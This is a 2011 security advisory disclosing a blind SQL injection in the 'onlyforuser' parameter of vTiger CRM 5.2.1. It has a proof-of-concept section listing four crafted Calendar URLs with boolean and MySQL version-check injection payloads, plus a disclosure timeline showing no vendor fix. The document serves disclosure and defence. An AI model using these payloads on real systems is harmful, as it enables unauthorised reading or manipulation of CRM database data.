vTiger CRM 5.2.x <= Blind SQL Injection Vulnerability



1. OVERVIEW

The vTiger CRM 5.2.1 and lower versions are vulnerable to Blind SQL
Injection. No fixed version has been released as of 2011-10-05.


2. BACKGROUND

vtiger CRM is a free, full-featured, 100% Open Source CRM software
ideal for small and medium businesses, with low-cost product support
available to production users that need reliable support. vtiger CRM
is a widely used product with thousands of users in dozens of
countries.  It has a vibrant community of users driving the product
forward, and contributing to it's development.  Over 2 million copies
of vtiger CRM have been downloaded so far. It was launched as a fork
of version 1.0 of the SugarCRM project launched on December 31st,
2004.


3. VULNERABILITY DESCRIPTION

The "onlyforuser" parameter was not properly sanitized, which allows
attacker to conduct Blind SQL Injection Attack. This could an attacker
to inject or manipulate SQL queries in the back-end database, allowing
for the manipulation or disclosure of arbitrary data.


4. VERSIONS AFFECTED

Tested on 5.2.1


5. PROOF-OF-CONCEPT/EXPLOIT

A future calendar event must be created in advance to trigger this
vulnerability.

Verified with Simple 1=1 Boolean check
-----------------------------------------------------

/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d1--

/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+1%3d2--


Verified with MySQL @@version  check
-----------------------------------------------------

/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d5--

/index.php?action=index&module=Calendar&view=week&hour=0&day=5&month=12&year=2011&viewOption=listview&subtab=event&parenttab=My&onlyforuser=1+or+@@version%3d4--


6. SOLUTION

No patched version is available yet.
The vendor hasn't attempted to fix the issues though they acknowledged
the report.


7. VENDOR

vTiger Development Team
http://www.vtiger.com/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2010-12-08: notified vendor
2011-10-05: no fixed version released yet
2011-10-05: vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5BvTiger_5.2.1%5D_blind_sqlin
Wiki VtigerCRM: https://secure.wikimedia.org/wikipedia/en/wiki/Vtiger_CRM


#yehg [2011-10-05]